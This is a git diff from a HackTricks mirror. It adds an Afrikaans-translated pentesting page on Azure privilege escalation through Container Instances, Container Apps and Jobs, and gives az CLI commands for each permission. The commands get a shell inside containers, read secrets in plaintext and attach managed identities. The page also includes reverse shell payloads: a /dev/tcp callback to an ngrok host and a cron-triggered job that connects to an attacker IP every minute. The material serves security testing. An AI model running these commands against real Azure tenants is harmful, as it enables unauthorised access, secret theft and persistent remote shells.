mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 13:43:24 -08:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
@@ -0,0 +1,177 @@
|
||||
# Az - Azure Container Instances, Apps & Jobs Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Container Instances, Apps & Jobs
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-container-instances-apps-jobs.md
|
||||
{{#endref}}
|
||||
|
||||
## ACI
|
||||
|
||||
### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`
|
||||
|
||||
Hierdie toestemmings laat die gebruiker toe om **'n opdrag uit te voer** in 'n lopende houer. Dit kan gebruik word om **privileges te verhoog** in die houer as dit enige bestuurde identiteit het. Natuurlik is dit ook moontlik om toegang te verkry tot die bronkode en enige ander sensitiewe inligting wat binne die houer gestoor is.
|
||||
|
||||
Om 'n shell te kry, is so eenvoudig soos:
|
||||
```bash
|
||||
az container exec --name <container-name> --resource-group <res-group> --exec-command '/bin/sh'
|
||||
```
|
||||
Dit is ook moontlik om die **uitset** van die houer te **lees** met:
|
||||
```bash
|
||||
az container attach --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
Of kry die logs met:
|
||||
```bash
|
||||
az container logs --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Hierdie toestemmings laat toe om **'n gebruikersbestuurde identiteit** aan 'n houergroep te koppel. Dit is baie nuttig om voorregte in die houer te verhoog.
|
||||
|
||||
Om 'n gebruikersbestuurde identiteit aan 'n houergroep te koppel:
|
||||
```bash
|
||||
az rest \
|
||||
--method PATCH \
|
||||
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
|
||||
--body '{
|
||||
"identity": {
|
||||
"type": "UserAssigned",
|
||||
"userAssignedIdentities": {
|
||||
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
|
||||
}
|
||||
}
|
||||
}' \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Hierdie toestemmings laat toe om 'n **houergroep te skep of op te dateer** met 'n **gebruikersbestuurde identiteit** daaraan geheg. Dit is baie nuttig om voorregte in die houer te verhoog.
|
||||
```bash
|
||||
az container create \
|
||||
--resource-group <res-group> \
|
||||
--name nginx2 \
|
||||
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
|
||||
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
|
||||
--restart-policy OnFailure \
|
||||
--os-type Linux \
|
||||
--cpu 1 \
|
||||
--memory 1.0
|
||||
```
|
||||
Boonop, dit is ook moontlik om 'n bestaande kontainer-groep op te dateer deur byvoorbeeld die **`--command-line` argument** met 'n omgekeerde shell toe te voeg.
|
||||
|
||||
## ACA
|
||||
|
||||
### `Microsoft.App/containerApps/read`, `Microsoft.App/managedEnvironments/read`, `microsoft.app/containerapps/revisions/replicas`, `Microsoft.App/containerApps/revisions/read`, `Microsoft.App/containerApps/getAuthToken/action`
|
||||
|
||||
Hierdie toestemmings laat die gebruiker toe om **'n shell te kry** in 'n lopende toepassingskontainer. Dit kan gebruik word om **privileges te eskaleer** in die kontainer as dit enige bestuurde identiteit het. Natuurlik is dit ook moontlik om toegang te verkry tot die bronkode en enige ander sensitiewe inligting wat binne die kontainer gestoor is.
|
||||
```bash
|
||||
az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
|
||||
az containerapp debug --name <app-name> --resource-group <res-group>
|
||||
|
||||
```
|
||||
### `Microsoft.App/containerApps/listSecrets/action`
|
||||
|
||||
Hierdie toestemming laat toe om die **duidelike teks van die geheime** wat binne 'n houer-app gekonfigureer is, te verkry. Let daarop dat geheime gekonfigureer kan word met die duidelike teks of met 'n skakel na 'n sleutelkluis (in so 'n geval sal die app 'n bestuurde identiteit toegeken hê met toegang tot die geheime).
|
||||
```bash
|
||||
az containerapp secret list --name <app-name> --resource-group <res-group>
|
||||
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>
|
||||
```
|
||||
### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Hierdie toestemmings laat toe om 'n **gebruikersbestuurde identiteit** aan 'n container-app te **koppel**. Dit is baie nuttig om voorregte in die container te verhoog. Om hierdie aksie vanaf die az cli uit te voer, vereis ook die toestemming `Microsoft.App/containerApps/listSecrets/action`.
|
||||
|
||||
Om 'n gebruikersbestuurde identiteit aan 'n container-groep te koppel:
|
||||
```bash
|
||||
az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName
|
||||
```
|
||||
### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`
|
||||
|
||||
Hierdie toestemmings laat toe om **'n toepassingshouer te skep of op te dateer** met 'n **gebruikersbestuurde identiteit** daaraan geheg. Dit is baie nuttig om voorregte in die houer te verhoog.
|
||||
```bash
|
||||
# Get environments
|
||||
az containerapp env list --resource-group Resource_Group_1
|
||||
|
||||
# Create app in a an environment
|
||||
az containerapp create \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
|
||||
--cpu 1 --memory 1.0 \
|
||||
--user-assigned <user-asigned-identity-name> \
|
||||
--min-replicas 1 \
|
||||
--command "<reserse shell>"
|
||||
```
|
||||
> [!TIP]
|
||||
> Let daarop dat met hierdie toestemmings **ander konfigurasies van die app** gewysig kan word wat dit moontlik kan maak om ander privesc en post-exploitation aanvalle uit te voer, afhangende van die konfigurasie van bestaande apps.
|
||||
|
||||
## Jobs
|
||||
|
||||
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/write`
|
||||
|
||||
Alhoewel jobs nie langlopende soos container apps is nie, kan jy die vermoë om die job se opdragkonfigurasie te oorskry wanneer 'n uitvoering begin, benut. Deur 'n pasgemaakte job-sjabloon te skep (byvoorbeeld, die standaardopdrag met 'n reverse shell te vervang), kan jy toegang tot die shell binne die container wat die job uitvoer, verkry.
|
||||
```bash
|
||||
# Retrieve the current job configuration and save its template:
|
||||
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml
|
||||
|
||||
# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
|
||||
# For example, change the container’s command to:
|
||||
# - args:
|
||||
# - -c
|
||||
# - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
|
||||
# command:
|
||||
# - /bin/bash
|
||||
# image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest
|
||||
|
||||
# Update and wait until the job is triggered (or change ths type to scheduled)
|
||||
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml
|
||||
|
||||
# Start a new job execution with the modified template:
|
||||
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml
|
||||
```
|
||||
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/listSecrets/action`
|
||||
|
||||
As jy hierdie toestemmings het, kan jy al die geheime (eerste toestemming) binne 'n Job-container lys en dan die waardes van die geconfigureerde geheime lees.
|
||||
```bash
|
||||
az containerapp job secret list --name <job-name> --resource-group <res-group>
|
||||
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>
|
||||
```
|
||||
### `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/jobs/write`
|
||||
|
||||
As jy toestemming het om 'n werk se konfigurasie te wysig, kan jy 'n gebruiker-toegewyde bestuurde identiteit aanheg. Hierdie identiteit mag addisionele voorregte hê (byvoorbeeld, toegang tot ander hulpbronne of geheime) wat misbruik kan word om voorregte binne die houer te verhoog.
|
||||
```bash
|
||||
az containerapp job update \
|
||||
--name <job-name> \
|
||||
--resource-group <res-group> \
|
||||
--assign-identity <user-assigned-identity-id>
|
||||
```
|
||||
### `Microsoft.App/managedEnvironments/read`, `Microsoft.App/jobs/write`, `Microsoft.App/managedEnvironments/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
As jy 'n nuwe Container Apps Job kan skep (of 'n bestaande een kan opdateer) en 'n bestuurde identiteit kan koppel, kan jy die werk ontwerp om 'n payload uit te voer wat privaathede eskaleer. Byvoorbeeld, jy kan 'n nuwe werk skep wat nie net 'n omgekeerde shell uitvoer nie, maar ook die bestuurde identiteit se akrediteeringe gebruik om tokens aan te vra of toegang tot ander hulpbronne te verkry.
|
||||
```bash
|
||||
az containerapp job create \
|
||||
--name <new-job-name> \
|
||||
--resource-group <res-group> \
|
||||
--environment <environment-name> \
|
||||
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
|
||||
--user-assigned <user-assigned-identity-id> \
|
||||
--trigger-type Schedule \
|
||||
--cron-expression "*/1 * * * *" \
|
||||
--replica-timeout 1800 \
|
||||
--replica-retry-limit 0 \
|
||||
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"
|
||||
```
|
||||
> [!TIP]
|
||||
> Hierdie opdrag sal 'n fout gooi as jy nie die `Microsoft.App/jobs/read` toestemming het nie, alhoewel die Werk geskep sal word.
|
||||
|
||||
### `microsoft.app/jobs/start/action`, `microsoft.app/jobs/read`
|
||||
|
||||
Dit lyk of dit met hierdie toestemmings moontlik moet wees om 'n werk te begin. Dit kan gebruik word om 'n werk met 'n omgekeerde shell of enige ander kwaadwillige opdrag te begin sonder om die konfigurasie van die werk te moet verander.
|
||||
|
||||
Ek het nie daarin geslaag om dit te laat werk nie, maar volgens die toegelate parameters behoort dit moontlik te wees.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user